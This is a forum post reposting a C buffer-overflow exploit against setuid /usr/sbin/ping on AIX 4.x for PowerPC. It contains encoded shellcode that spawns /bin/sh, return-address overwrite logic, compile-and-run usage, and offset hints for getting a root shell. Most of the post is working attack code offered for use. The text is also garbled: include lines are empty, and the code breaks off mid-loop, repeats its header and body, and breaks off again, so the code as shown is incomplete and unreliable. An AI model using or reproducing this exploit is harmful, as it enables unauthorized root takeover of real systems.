/usr/sbin/ping exploit

here i m posting a exploit ,that i found on net
*   /usr/sbin/ping exploit (kinda' coded) by BeastMaster V  
*
*   CREDITS: this is simpy a modified version of an exploit
*   posted by Georgi Guninski (guninski@hotmail.com)
*
*   This will give a #rootshell# by overwriting a buffer
*   in /usr/sbin/ping while ping is setuid to root.
*   This exploit is designed for AIX 4.x on PPC platform.  
*
*
*   USAGE:
*            $ cc -o foo -g aix_ping.c
*            $ ./foo 5300
*            #
*
*    
*   HINT: Try giving ranges from 5090 through 5500
*
*   DISCLAIMER: use this program in a responsible manner.
*
*   --> don't forget to visit http://www.rootshell.com
*   --> for more goodies :-)
*
*/

#include 
#include 
#include 

extern int execv();

#define MAXBUF 600

unsigned int code[]={
      0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
      0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
      0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
      0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
      0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
      0x7c0903a6 , 0x4e800420, 0x0
};

char *createvar(char *name,char *value)
{
 char *c;
 int l;

 l=strlen(name)+strlen(value)+4;
 if (! (c=malloc(l))) {perror("error allocating");exit(2);};
 strcpy(c,name);
 strcat(c,"=");
 strcat(c,value);
 putenv(c);
 return c;
}

main(int argc,char **argv,char **env)
{
 unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
 int min=100, max=280;
 unsigned int return_address;
 char *newenv[8];
 char *args[4];
 int offset=5300;

 if (argc==2) offset = atoi(argv[1]);

 pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt;

 *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
 *((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff);
 *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
 *((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff);

 return_address=(unsigned)&buf[0]+offset;

 for(nop=0;nop don't forget to visit http://www.rootshell.com
*   --> for more goodies :-)
*
*/

#include 
#include 
#include 

extern int execv();

#define MAXBUF 600

unsigned int code[]={
      0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
      0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
      0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
      0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
      0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
      0x7c0903a6 , 0x4e800420, 0x0
};

char *createvar(char *name,char *value)
{
 char *c;
 int l;

 l=strlen(name)+strlen(value)+4;
 if (! (c=malloc(l))) {perror("error allocating");exit(2);};
 strcpy(c,name);
 strcat(c,"=");
 strcat(c,value);
 putenv(c);
 return c;
}

main(int argc,char **argv,char **env)
{
 unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
 int min=100, max=280;
 unsigned int return_address;
 char *newenv[8];
 char *args[4];
 int offset=5300;

 if (argc==2) offset = atoi(argv[1]);

 pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt;

 *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
 *((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff);
 *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
 *((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff);

 return_address=(unsigned)&buf[0]+offset;

 for(nop=0;nop